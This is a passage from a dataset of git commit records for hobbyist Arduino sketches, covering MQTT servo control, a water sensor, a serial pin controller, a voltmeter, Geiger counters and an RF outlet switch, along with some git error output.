positionTargetArray[SERVO_CHAMBRE3] = atoi(strPayload.c_str()); servoRunning[SERVO_CHAMBRE3] = true;}\n else if(String(topic) == \"AC\/ESP\/SERVO\/DREAMROOM\/ANGLE\"){Serial.print(\"Received Angle setting : \"); Serial.println(atoi(strPayload.c_str())); positionTargetArray[SERVO_DREAMROOM] = atoi(strPayload.c_str());servoRunning[SERVO_DREAMROOM] = true;} \n else if(String(topic) == \"AC\/ESP\/SERVO\/ETAGE\/ANGLE\"){ Serial.print(\"Received Angle setting : \"); Serial.println(atoi(strPayload.c_str())); positionTargetArray[SERVO_ETAGE] = atoi(strPayload.c_str()); servoRunning[SERVO_ETAGE] = true;} \n else if(String(topic) == \"AC\/ESP\/SERVO\/MASTER2\/ANGLE\"){ Serial.print(\"Received Angle setting : \"); Serial.println(atoi(strPayload.c_str())); positionTargetArray[SERVO_MASTER2] = atoi(strPayload.c_str()); servoRunning[SERVO_MASTER2] = true;} \t\t \n\t else if(String(topic) == \"AC\/ESP\/SERVO\/SALON\/ANGLE\"){ Serial.print(\"Received Angle setting : \"); Serial.println(atoi(strPayload.c_str())); positionTargetArray[SERVO_SALON] = atoi(strPayload.c_str()); servoRunning[SERVO_SALON] = true;} \t \n\t\t \n\t\t else {\n\t\t Serial.print(\"Unknown payload : \");\n\t\t\t Serial.println((char)payload[0]);\n\t\t }\n\n}\n\n\nvoid initPositions()\n{\n for(int servoId = 0; servoId < NB_SERVO; servoId++)\n {\n positionArray[servoId] = 0;\n positionTargetArray [servoId] = 0;\n positionLoopCounter[servoId] = 0;\n servoRunning[servoId] = false;\n myMqtt->publishValue(String(\"ESP\/SERVO\/\" + ID_TO_ROOM[servoId] + \"\/REAL_ANGLE\").c_str(), \"0\");\n }\n\n}\n\n\nvoid setup() {\n Serial.begin(115200);\n pinMode(SERVO1_TURNL_PIN, OUTPUT);\n digitalWrite(SERVO1_TURNL_PIN, LOW);\n pinMode(SERVO2_TURNL_PIN, OUTPUT);\n digitalWrite(SERVO2_TURNL_PIN, LOW);\n \n delay(10);\n \n myMqtt = new MqttConnection(SENSOR_ID, WLAN_SSID, WLAN_PASS, MQTT_SERVER, MQTT_PORT);\n myMqtt->registerCustomProcessing(&processACMsg);\n myMqtt->addSubscription(\"ESP\/SERVO\/CHAMBRE1\/ANGLE\");\n myMqtt->addSubscription(\"ESP\/SERVO\/CHAMBRE2\/ANGLE\");\n myMqtt->addSubscription(\"ESP\/SERVO\/CHAMBRE3\/ANGLE\");\n myMqtt->addSubscription(\"ESP\/SERVO\/DREAMROOM\/ANGLE\");\n myMqtt->addSubscription(\"ESP\/SERVO\/ETAGE\/ANGLE\");\n myMqtt->addSubscription(\"ESP\/SERVO\/SALON\/ANGLE\");\n myMqtt->addSubscription(\"ESP\/SERVO\/MASTER2\/ANGLE\");\n myMqtt->addSubscription(\"ESP\/SERVO\/RUN_ALL\"); \n myMqtt->addSubscription(\"ESP\/SERVO\/RESET\"); \n myMqtt->addSubscription(\"ESP\/PING\"); \n \n \n ID_TO_ROOM[SERVO_CHAMBRE1] = \"CHAMBRE1\";\n ID_TO_ROOM[SERVO_CHAMBRE2] = \"CHAMBRE2\";\n ID_TO_ROOM[SERVO_CHAMBRE3] = \"CHAMBRE3\";\n ID_TO_ROOM[SERVO_DREAMROOM] = \"DREAMROOM\";\n ID_TO_ROOM[SERVO_ETAGE] = \"ETAGE\";\n ID_TO_ROOM[SERVO_SALON] = \"SALON\";\n ID_TO_ROOM[SERVO_MASTER2] = \"MASTER2\";\n\n \n}\n\n\nvoid switchAlarmLedOn(){\n \n Serial.println(\"Switching Alarm LED ON\");\n \/\/ digitalWrite(ALARM_LED_RELAY_PIN, HIGH);\n\n}\nvoid switchAlarmLedOff(){\n \n Serial.println(\"Switching Alarm LED OFF\");\n \/\/ digitalWrite(ALARM_LED_RELAY_PIN, LOW);\n\n}\n\nvoid turn(int servoId, bool turnRight)\n{\n if(positionLoopCounter[servoId] < ONE_DEGREE_COUNTER)\n {\n positionLoopCounter[servoId]++;\n }\n else\n {\n positionLoopCounter[servoId] = 0;\n\n if(turnRight)\n {\n positionArray[servoId] += 1;\n Serial.print(\"TURN RIGHT : \");\n }\n else\n {\n positionArray[servoId] -= 1;\n Serial.print(\"TURN LEFT : \"); \n }\n Serial.print(servoId);\n Serial.print(\" : \");\n Serial.println(positionArray[servoId]);\n myMqtt->publishValue(String(\"ESP\/SERVO\/\" + ID_TO_ROOM[servoId] + \"\/REAL_ANGLE\").c_str(), String(positionArray[servoId]).c_str());\n }\n}\n\nvoid turnOff(int servoId)\n{\n positionLoopCounter[servoId] = 0;\n servoRunning[servoId]=false;\n \/\/Serial.print(\"TURN OFF : \");\n \/\/Serial.println(servoId);\n}\n\nbool allServoConfigured()\n{\n for(int servoId = 0; servoId < NB_SERVO; servoId++)\n {\n if(servoRunning[servoId])\n {\n return false;\n }\n }\n return true;\n}\n\nvoid loop() {\n time_now = millis();\n \/\/ put your main code here, to run repeatedly:\n\n if (!myMqtt->connected()) {\n myMqtt->reconnect();\n }\n myMqtt->loop();\n\n if(bootComplete == false)\n {\n initPositions();\n bootComplete = true;\n }\n\n if(endOfConfigRequestedFromHost)\n {\n if(allServoConfigured())\n {\n endOfConfigRequestedFromHost = false;\n myMqtt->publishValue(\"ESP\/AERAULIC_STATE\", AERO_CONFIGURED);\n \n }\n }\n\n for(int servoId = 0; servoId < NB_SERVO; servoId++)\n {\n if(positionArray[servoId] < positionTargetArray[servoId])\n {\n turn(servoId, true);\n }\n else \n {\n if(positionArray[servoId] > positionTargetArray[servoId])\n {\n turn(servoId, false);\n }\n else\n {\n turnOff(servoId);\n }\n }\n\n\n\n }\n\n \/\/delay(LOOP_DELAY);\n\n\n \n \/\/Serial.println(\"Hello\");\n \n while(millis() < time_now + LOOP_PERIOD){\n \/\/wait approx. [period] ms\n }\n\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/AirCControl\/AirCControl.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"0f9c800a5cfaa73d56c7017b645c9e242133de57","subject":"Add Arduino compatible Internet Of Bees sketch.","message":"Add Arduino compatible Internet Of Bees sketch.\n","repos":"tommorris\/bees,tommorris\/bees,tommorris\/bees,tommorris\/bees,tommorris\/bees,tommorris\/bees,tommorris\/bees,tommorris\/bees,tommorris\/bees,tommorris\/bees,tommorris\/bees","old_file":"bees.ino","new_file":"bees.ino","new_contents":"\/* Arduino compatible Internet Of Bees - @kosso *\/\nvoid setup(){\n Serial.begin(11520);\n}\nvoid loop(){\n Serial.print(\"BEES \")\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'bees.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"15b54eb62ec92f62bf5abfaa880bb4de6f7946b3","subject":"Update auto_water.ino","message":"Update auto_water.ino\n\nmaking debug false by default","repos":"robreeves\/robotany","old_file":"auto_water.ino","new_file":"auto_water.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/robreeves\/robotany.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"0b939ab8490a2df08f5fbcb1067e2823e19614ec","subject":"Added example code the Grove Water Sensor.","message":"Added example code the Grove Water Sensor.\n","repos":"mwittig\/steward,TheThingSystem\/steward,mwittig\/steward,estbeetoo\/steward,estbeetoo\/steward,mwittig\/steward,TheThingSystem\/steward,mwittig\/steward,TheThingSystem\/steward,estbeetoo\/steward,estbeetoo\/steward,mwittig\/steward,mwittig\/steward,TheThingSystem\/steward,estbeetoo\/steward,TheThingSystem\/steward,TheThingSystem\/steward,estbeetoo\/steward,mwittig\/steward,TheThingSystem\/steward,estbeetoo\/steward,mwittig\/steward,estbeetoo\/steward,mwittig\/steward,TheThingSystem\/steward,TheThingSystem\/steward,estbeetoo\/steward","old_file":"things\/examples\/arduino\/WaterSensor\/WaterSensor.ino","new_file":"things\/examples\/arduino\/WaterSensor\/WaterSensor.ino","new_contents":"#include <Dhcp.h>\n#include <Dns.h>\n#include <Ethernet.h>\n#include <EthernetClient.h>\n#include <EthernetServer.h>\n#include <EthernetUdp.h>\n#include <util.h>\n\n#include <SPI.h>\n\nint requestID = 1;\nunsigned long lastCallbackTime = 0;\/\/ the last time the data was written\n\n\/\/ The MAC address of your Ethernet board (or Ethernet Shield) is located on the back of the curcuit board.\nbyte mac[] = { 0x0, 0xA2, 0xDA, 0x0D, 0x90, 0xE2 }; \/\/ Arduino Ethernet\n\n#define WATER_SENSOR 7\n\nchar packetBuffer[512];\n\nPROGMEM prog_char *loopPacket1 = \"{\\\"path\\\":\\\"\/api\/v1\/thing\/reporting\\\",\\\"requestID\\\":\\\"\";\nPROGMEM prog_char *loopPacket2 = \"\\\",\\\"things\\\":{\\\"\/device\/sensor\/arduino\/water\\\":{\\\"prototype\\\":{\\\"device\\\":{\\\"name\\\":\\\"Grove Water Sensor\\\",\\\"maker\\\":\\\"Seeed Studio\\\"},\\\"name\\\":\\\"true\\\",\\\"status\\\":[\\\"present\\\",\\\"absent\\\",\\\"recent\\\"],\\\"properties\\\":{\\\"water\\\":[\\\"present\\\",\\\"absent\\\"]}},\\\"instances\\\":[{\\\"name\\\":\\\"Water Sensor\\\",\\\"status\\\":\\\"present\\\",\\\"unit\\\":{\\\"serial\\\":\\\"\";\nPROGMEM prog_char *loopPacket3 = \"\\\",\\\"udn\\\":\\\"195a42b0-ef6b-11e2-99d0-\";\nPROGMEM prog_char *loopPacket4 = \"-water\\\"},\\\"info\\\":{\\\"water\\\":\\\"\";\nPROGMEM prog_char *loopPacket5 = \"\\\"},\\\"uptime\\\":\\\"\";\nPROGMEM prog_char *loopPacket6 = \"\\\"}]}}}\";\n\n\/\/ All TSRP transmissions are via UDP to port 22601 on multicast address '224.192.32.19'.\nEthernetUDP udp;\nIPAddress ip(224,192,32,19);\nunsigned int port = 22601; \n\nvoid setup() {\n pinMode(WATER_SENSOR, INPUT);\n \n Serial.begin(9600);\n Serial.println(\"Starting...\");\n while(!Serial) { }\n \n Serial.println(\"Waiting for DHCP address.\");\n if (Ethernet.begin(mac) == 0) {\n Serial.println(\"Error: Failed to configure Ethernet using DHCP\");\n while(1) { }\n } \n \n Serial.print(\"MAC address: \");\n for (byte thisByte = 0; thisByte < 6; thisByte++) {\n Serial.print(mac[thisByte], HEX);\n Serial.print(\":\"); \n }\n Serial.println();\n \n Serial.print(\"IP address: \");\n for (byte thisByte = 0; thisByte < 4; thisByte++) {\n Serial.print(Ethernet.localIP()[thisByte], DEC);\n Serial.print(\".\"); \n }\n Serial.println();\n \n udp.beginMulti(ip,port);\n\n} \n \nvoid loop() {\n int reading = digitalRead(WATER_SENSOR);\n\n if( isExposedToWater() ) {\n char buffer[12];\n strcpy(packetBuffer,(char*)pgm_read_word(&loopPacket1) );\n strcat(packetBuffer, itoa( requestID, buffer, 10) );\n strcat(packetBuffer,(char*)pgm_read_word(&loopPacket2) );\n for (byte thisByte = 0; thisByte < 6; thisByte++) {\n sprintf(buffer, \"%x\", mac[thisByte] );\n strcat(packetBuffer, buffer); \n } \n strcat(packetBuffer,(char*)pgm_read_word(&loopPacket3) );\n for (byte thisByte = 0; thisByte < 6; thisByte++) {\n sprintf(buffer, \"%x\", mac[thisByte] );\n strcat(packetBuffer, buffer); \n } \n strcat(packetBuffer,(char*)pgm_read_word(&loopPacket4) );\n strcat(packetBuffer, \"detected\");\n strcat(packetBuffer,(char*)pgm_read_word(&loopPacket5) );\n strcat(packetBuffer, itoa( millis()\/1000, buffer, 10) );\n strcat(packetBuffer,(char*)pgm_read_word(&loopPacket6) );\n\n Serial.println(packetBuffer); \n udp.beginPacket(udp.remoteIP(), udp.remotePort());\n udp.write(packetBuffer);\n udp.endPacket(); \n requestID = requestID + 1; \n \n \n } else {\n if ((millis() - lastCallbackTime) > 60000) {\n callback();\n lastCallbackTime = millis();\n }\n }\n \n delay(1000);\n\n}\n\nvoid callback() {\n char buffer[12];\n strcpy(packetBuffer,(char*)pgm_read_word(&loopPacket1) );\n strcat(packetBuffer, itoa( requestID, buffer, 10) );\n strcat(packetBuffer,(char*)pgm_read_word(&loopPacket2) );\n for (byte thisByte = 0; thisByte < 6; thisByte++) {\n sprintf(buffer, \"%x\", mac[thisByte] );\n strcat(packetBuffer, buffer); \n } \n strcat(packetBuffer,(char*)pgm_read_word(&loopPacket3) );\n for (byte thisByte = 0; thisByte < 6; thisByte++) {\n sprintf(buffer, \"%x\", mac[thisByte] );\n strcat(packetBuffer, buffer); \n } \n strcat(packetBuffer,(char*)pgm_read_word(&loopPacket4) );\n strcat(packetBuffer, \"absent\");\n strcat(packetBuffer,(char*)pgm_read_word(&loopPacket5) );\n strcat(packetBuffer, itoa( millis()\/1000, buffer, 10) );\n strcat(packetBuffer,(char*)pgm_read_word(&loopPacket6) );\n\n Serial.println(packetBuffer); \n udp.beginPacket(udp.remoteIP(), udp.remotePort());\n udp.write(packetBuffer);\n udp.endPacket(); \n requestID = requestID + 1;\n}\n\nboolean isExposedToWater() {\n\tif(digitalRead(WATER_SENSOR) == LOW)\n\t\treturn true;\n\telse return false;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'things\/examples\/arduino\/WaterSensor\/WaterSensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e5e8d094064219dfdf81d5694c4a2e2b131f13ba","subject":"finished PID subroutine","message":"finished PID subroutine\n","repos":"GaParmar\/quadcopter,GaParmar\/quadcopter","old_file":"FlightController.ino","new_file":"FlightController.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/GaParmar\/quadcopter.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"c06a76061136cad044c1c991d8e9902f57f34309","subject":"add sketch","message":"add sketch\n","repos":"AprilBrother\/ios-blueduino,AprilBrother\/ios-blueduino,AprilBrother\/ios-blueduino,AprilBrother\/ios-blueduino","old_file":"ABControllerSketch\/ABControlSketch.ino","new_file":"ABControllerSketch\/ABControlSketch.ino","new_contents":"#include <SoftwareSerial.h>\n\nSoftwareSerial mySerial(11, 12); \/\/ RX, TX\n\n#define TOTAL_PINS 18\n\n#define PIN_CAPABILITY_NONE 0x00\n#define PIN_CAPABILITY_DIGITAL 0x01\n#define PIN_CAPABILITY_ANALOG 0x02\n#define PIN_CAPABILITY_PWM 0x04\n#define PIN_CAPABILITY_SERVO 0x08\n#define PIN_CAPABILITY_I2C 0x10\n\n#define PIN_MODE_INPUT 0x00\n#define PIN_MODE_OUTPUT 0x01\n#define PIN_MODE_ANALOG 0x02\n#define PIN_MODE_PWM 0x03\n\n#define PIN_STATE_HIGH 0x01\n#define PIN_STATE_LOW 0x00\n\n#define WAIT_SECONDS 3\n\n#define FIRST_ANALOG_PIN 5\n#define IS_PIN_DIGITAL(p) (((p) >= 0 && (p) < TOTAL_PINS))\n#define IS_PIN_ANALOG(p) ((p) >= 5 && (p) < 14)\n#define IS_PIN_PWM(p) ((p) >= 3 && (p) <= 7)\n#define PIN_TO_ANALOG(p) ((p) - FIRST_ANALOG_PIN)\n\nbyte pinSerial[] = {0,1,2,3,5,6,9,10,4,8,18,19,20,21,7,14,15,16};\nint pinAnalog[] = {A7,A9,A10,A6,A8,A0,A1,A2,A3};\nbyte pin_mode[TOTAL_PINS];\nbyte pin_state[TOTAL_PINS];\nbyte pin_pwm[TOTAL_PINS];\nbyte pin_servo[TOTAL_PINS];\n\nvoid setup()\n{\n mySerial.begin(9600);\n \n for (int pin = 0; pin < TOTAL_PINS; pin++)\n {\n \/\/ Set pin to input with internal pull up\n pinMode(pinSerial[pin], OUTPUT);\n digitalWrite(pinSerial[pin], HIGH);\n \n \/\/ Save pin mode and state\n pin_mode[pin] = PIN_MODE_OUTPUT;\n pin_state[pin] = HIGH;\n }\n}\n\nbyte reportDigitalInput()\n{\n static byte pin = 0;\n byte report = 0;\n \n if (!IS_PIN_DIGITAL(pin))\n {\n pin++;\n if (pin >= TOTAL_PINS)\n pin = 0;\n return 0;\n }\n \n if (pin_mode[pin] == PIN_MODE_INPUT)\n {\n byte current_state = digitalRead(pinSerial[pin]);\n \n if (pin_state[pin] != current_state)\n {\n pin_state[pin] = current_state;\n byte buf[] = {'G', pin, pin_mode[pin], current_state};\n mySerial.write(buf, 4);\n \n report = 1;\n }\n }\n \n pin++;\n if (pin >= TOTAL_PINS)\n pin = 0;\n \n return report;\n}\n\n\nvoid reportPinCapability(byte pin)\n{\n byte buf[] = {'P', pin, 0x00};\n byte pin_cap = 0;\n \n if (IS_PIN_DIGITAL(pin))\n pin_cap |= PIN_CAPABILITY_DIGITAL;\n \n if (IS_PIN_ANALOG(pin))\n pin_cap |= PIN_CAPABILITY_ANALOG;\n \n if (IS_PIN_PWM(pin))\n pin_cap |= PIN_CAPABILITY_PWM;\n \n\/\/ if (IS_PIN_SERVO(pin))\n\/\/ pin_cap |= PIN_CAPABILITY_SERVO;\n \n buf[2] = pin_cap;\n mySerial.write(buf, 3);\n}\nvoid reportPinDigitalData(byte pin)\n{\n byte state = digitalRead(pin);\n byte mode = pin_mode[pin];\n byte buf[] = {'G', pin, mode, state};\n mySerial.write(buf, 4);\n}\n\nvoid reportPinPWMData(byte pin)\n{\n byte value = pin_pwm[pin];\n byte mode = pin_mode[pin];\n byte buf[] = {'G', pin, mode, value};\n mySerial.write(buf, 4);\n}\n\nbyte reportPinAnalogData()\n{\n static byte pin = 0;\n byte report = 0;\n \n if (!IS_PIN_DIGITAL(pin))\n {\n pin++;\n if (pin >= TOTAL_PINS)\n pin = 0;\n return 0;\n }\n \n if (pin_mode[pin] == PIN_MODE_ANALOG)\n {\n delay(WAIT_SECONDS);\n uint16_t value = analogRead(pinAnalog[PIN_TO_ANALOG(pin)]);\n byte value_lo = value;\n byte value_hi = value>>8;\n \n byte mode = pin_mode[pin];\n mode = (value_hi << 4) | mode;\n \n byte buf[] = {'G', pin, mode, value_lo};\n mySerial.write(buf, 4);\n }\n \n pin++;\n if (pin >= TOTAL_PINS)\n pin = 0;\n \n return report;\n}\n\nvoid loop()\n{\n while(mySerial.available() > 0)\n {\n byte cmd;\n cmd = mySerial.read();\n switch (cmd)\n {\n case 'C':\n {\n byte buf[2];\n buf[0] = 'C';\n buf[1] = TOTAL_PINS;\n mySerial.write(buf, 2);\n }\n break;\n case 'A':\n {\n for (int pin = 0; pin < TOTAL_PINS; pin++)\n {\n reportPinCapability(pin);\n if ( (pin_mode[pin] == PIN_MODE_INPUT) || (pin_mode[pin] == PIN_MODE_OUTPUT) )\n {\n reportPinDigitalData(pin);\n }\n else if (pin_mode[pin] == PIN_MODE_PWM)\n {\n reportPinPWMData(pin);\n }\n else if (pin_mode[pin] == PIN_MODE_ANALOG)\n {\n reportPinDigitalData(pin);\n }\n }\n }\n break;\n case 'T':\n {\n delay(WAIT_SECONDS);\n int pin = mySerial.read();\n delay(WAIT_SECONDS);\n int state = mySerial.read();\n \n if (state == PIN_STATE_HIGH) {\n digitalWrite(pinSerial[pin], HIGH);\n pin_state[pin] = HIGH;\n } else {\n digitalWrite(pinSerial[pin], LOW);\n pin_state[pin] = LOW;\n }\n }\n break;\n case 'N':\n {\n delay(WAIT_SECONDS);\n byte pin = mySerial.read();\n delay(WAIT_SECONDS);\n byte value = mySerial.read();\n analogWrite(pinSerial[pin], value);\n pin_pwm[pin] = value;\n }\n break;\n case 'S':\n {\n delay(WAIT_SECONDS);\n byte pin = mySerial.read();\n delay(WAIT_SECONDS);\n byte mode = mySerial.read();\n \n if (mode != pin_mode[pin])\n {\n pin_mode[pin] = mode;\n if (mode == PIN_MODE_OUTPUT)\n {\n pinMode(pinSerial[pin], OUTPUT);\n digitalWrite(pinSerial[pin], HIGH);\n pin_state[pin] = HIGH;\n reportPinDigitalData(pin);\n }\n else if (mode == PIN_MODE_INPUT)\n {\n pinMode(pinSerial[pin], INPUT);\n reportPinDigitalData(pin);\n } \n else if (mode == PIN_MODE_ANALOG && IS_PIN_ANALOG(pin))\n {\n pinMode(pinSerial[pin], INPUT);\n reportPinDigitalData(pin);\n }\n else if (mode == PIN_MODE_PWM && IS_PIN_PWM(pin))\n {\n pinMode(pinSerial[pin], OUTPUT);\n analogWrite(pinSerial[pin], 0);\n pin_pwm[pin] = 0;\n reportPinPWMData(pin);\n }\n }\n }\n break;\n }\n \n }\n \n reportPinAnalogData();\n \n byte input_data_pending = reportDigitalInput();\n if (input_data_pending) \n {\n return;\n }\n\n \n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ABControllerSketch\/ABControlSketch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9bf4fb5aa4bbfe40a76ecebb9ca30331d57f563e","subject":"Edit on the sketch =>V0.3","message":"Edit on the sketch =>V0.3\n\nCleaning the sketch.\ninitiated \"int pin\" in scope\n","repos":"Omemanti\/MantiOT","old_file":"Sketches\/Manti_Irrigation_Controller\/Manti_Irrigation_Controller.ino","new_file":"Sketches\/Manti_Irrigation_Controller\/Manti_Irrigation_Controller.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Omemanti\/MantiOT.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8c63716d7d8128f528a5655731d117beebe05487","subject":"GPS read code","message":"GPS read code\n\narduino code that reads from the Ultimate GPS breakout v3 and prints\nNMEA 0183 standard information to the serial monitor.\n","repos":"lolisa\/2014-15,lolisa\/2014-15,huskyroboticsteam\/2014-15,lolisa\/2014-15,huskyroboticsteam\/2014-15,huskyroboticsteam\/2014-15","old_file":"GPS Code\/GPSread.ino","new_file":"GPS Code\/GPSread.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lolisa\/2014-15.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"5874b0f4122d068fba450898076dbef408832f44","subject":"Create Voltmeter.ino","message":"Create Voltmeter.ino\n\nCode part for analog voltmeter with resistor","repos":"designgreenhouse\/solarXopen","old_file":"laddstation\/sub-module\/Voltmeter.ino","new_file":"laddstation\/sub-module\/Voltmeter.ino","new_contents":"\/* Function Analog voltmeter -------------------------------------------------------\n * analogvalue is the reading from the analog input pin A0\n * DigitalWrite D3 is to set a digital output\n * This means that it will map input voltages between 0 and 5 volts into integer values between 0 and 1023. \n * This yields a resolution between readings of: 5 volts \/ 1024 units or, .0049 volts (4.9 mV) per unit\n * konstant 112 is calibrated depending on resistor\n *----------------------------------------------------------------------------\/\n int analogvalue;\n float temp;\n float batteryVoltage;\n \n void setup()\n{\n pinMode(D3, OUTPUT);\n pinMode(A0, INPUT);\n }\n \n \/* This function loops forever --------------------------------------------*\/\nvoid loop()\n\n \/\/ check to see what the value of the A0 input is and store it in the int(heltal) variable analogvalue\n \/\/ batteryVoltage \u00e4r ett flyttal som visar decimaler. Formel : batteryVoltage = A0 * 2 \/ 112\n analogvalue = analogRead(A0);\n temp = analogvalue*2;\n batteryVoltage = temp\/112;\n\n\n if (analogvalue>2000) {\n digitalWrite(D3,HIGH);\n\n }\n else if (analogvalue<2000) {\n digitalWrite(D3,LOW);\n }\n else {\n\n }\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'laddstation\/sub-module\/Voltmeter.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"84ae8783039926d7db4b52dfa109a0c7e7dbd73a","subject":"Add multiple sensor example","message":"Add multiple sensor example\n","repos":"MonsieurV\/ArduinoPocketGeiger","old_file":"examples\/MultipleSensorsSerialPrinter\/MultipleSensorsSerialPrinter.ino","new_file":"examples\/MultipleSensorsSerialPrinter\/MultipleSensorsSerialPrinter.ino","new_contents":"\/*\nThis example intends to show how to use the library with multiple Pocket Geiger\nwired to the Arduino.\n\nIt is based on the SerialPrinterEnableInterrupt, as we need the EnableInterrupt library\nfor attaching interrupts to more than two pins (at least on Arduino Uno).\n\nIn the example, we assumes we have two Pocket Geiger connected, with the wiring described below.\n\nFirst Pocket Geiger is wired to:\n* SIG pin to Arduino pin 2\n* NS pin to Arduino pin 3\n\nSecond Pocket Geiger is wired to:\n* SIG pin to Arduino pin 4\n* NS pin to Arduino pin 5\n\nSee a list of pins supported here:\nhttps:\/\/github.com\/GreyGnome\/EnableInterrupt\/wiki\/Usage#pin--port-bestiary\n\nYou can install the EnableInterrupt library from the Arduino Library Manager:\nhttp:\/\/www.arduinolibraries.info\/libraries\/enable-interrupt\n*\/\n\n\/\/ EnableInterrupt from https:\/\/github.com\/GreyGnome\/EnableInterrupt\n\/\/ include it before RadiationWatch.h\n#include \"EnableInterrupt.h\"\n#include \"RadiationWatch.h\"\n\n\/\/ First Pocket Geiger: signPin = 2, noisePin = 3\nRadiationWatch radiationWatch1(2, 3);\n\/\/ Second Pocket Geiger: signPin = 4, noisePin = 5\nRadiationWatch radiationWatch2(4, 5);\n\nvoid onRadiation1()\n{\n Serial.println(\"[PG1] A wild gamma ray appeared\");\n Serial.print(\"[PG1] \");\n Serial.print(radiationWatch1.uSvh());\n Serial.print(\" uSv\/h +\/- \");\n Serial.println(radiationWatch1.uSvhError());\n}\n\nvoid onNoise1()\n{\n Serial.println(\"[PG1] Argh, noise, please stop moving\");\n}\n\nvoid onRadiation2()\n{\n Serial.println(\"[PG2] A wild gamma ray appeared\");\n Serial.print(\"[PG2] \");\n Serial.print(radiationWatch2.uSvh());\n Serial.print(\" uSv\/h +\/- \");\n Serial.println(radiationWatch2.uSvhError());\n}\n\nvoid onNoise2()\n{\n Serial.println(\"[PG2] Argh, noise, please stop moving\");\n}\n\nvoid setup()\n{\n Serial.begin(9600);\n radiationWatch1.setup();\n radiationWatch2.setup();\n \/\/ Register the callbacks.\n radiationWatch1.registerRadiationCallback(&onRadiation1);\n radiationWatch1.registerNoiseCallback(&onNoise1);\n radiationWatch2.registerRadiationCallback(&onRadiation2);\n radiationWatch2.registerNoiseCallback(&onNoise2);\n}\n\nvoid loop()\n{\n radiationWatch1.loop();\n radiationWatch2.loop();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/MultipleSensorsSerialPrinter\/MultipleSensorsSerialPrinter.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"35f65497b810edbd459d987d70abb57d0c8fd25a","subject":"only sending","message":"only sending\n","repos":"erizet\/HumanRoulette","old_file":"HumanRoulette.ino","new_file":"HumanRoulette.ino","new_contents":"\/*\n HumanRoulette\n*\/\n\n#include <RCSwitch.h>\n\nRCSwitch mySwitch = RCSwitch();\n\nvoid setup() {\n\n Serial.begin(9600);\n \n \/\/ Transmitter is connected to Arduino Pin #10 \n mySwitch.enableTransmit(4);\n\n \/\/ Optional set pulse length.\n \/\/ mySwitch.setPulseLength(320);\n \n \/\/ Optional set protocol (default is 1, will work for most outlets)\n \/\/ mySwitch.setProtocol(2);\n \n \/\/ Optional set number of transmission repetitions.\n \/\/ mySwitch.setRepeatTransmit(15);\n \n}\n\nvoid loop() {\n\n \/\/for(int i=140; i<180; i+=2)\n {\n\/\/ Serial.println(i);\n mySwitch.setPulseLength(170);\n \/* Same switch as above, but tri-state code *\/ \n mySwitch.sendTriState(\"FFFFFFFF0000\");\n delay(500); \n mySwitch.sendTriState(\"FFFFFFFF1111\");\n delay(500);\n }\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'HumanRoulette.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"c6a1192f189c8503de72c4d12a9dbc3730240167","subject":"fix: MoviePlayer","message":"fix: MoviePlayer\n","repos":"h-nari\/Humblesoft_LedMat,h-nari\/Humblesoft_LedMat","old_file":"examples\/movie_simple\/movie_simple.ino","new_file":"examples\/movie_simple\/movie_simple.ino","new_contents":"#include <SD.h>\n\n#include <Adafruit_GFX.h> \/\/ https:\/\/github.com\/adafruit\/Adafruit-GFX-Library\n#include <Fontx.h> \/\/ https:\/\/github.com\/h-nari\/Fontx\n#include <Humblesoft_GFX.h> \/\/ https:\/\/github.com\/h-nari\/Humblesoft_GFX\n#include <Humblesoft_LedMat.h> \/\/ https:\/\/github.com\/h-nari\/Humblesoft_LedMat\n#include <MoviePlayer.h> \/\/ included in Humblesoft_LedMat \n\nuint8_t imgBuf[1024*24];\nMoviePlayer moviePlayer;\n\nvoid setup(void)\n{\n Serial.begin(115200);\n delay(100);\n Serial.println(\"\\n\\nReset:\");\n \n Serial.println(\"Initialize\");\n LedMat.begin(LMMT64x32s16,1,1);\n LedMat.setImgBuf(imgBuf, sizeof(imgBuf));\n LedMat.setBright(10); \n LedMat.setPlane(8);\n \n LedMat.setTextWrap(true);\n LedMat.clear();\n LedMat.printf(\"%dx%d\\n\",LedMat.width(),LedMat.height());\n LedMat.setTextColor(\"red\");\n LedMat.print(\"R\");\n LedMat.setTextColor(\"green\");\n LedMat.print(\"G\");\n 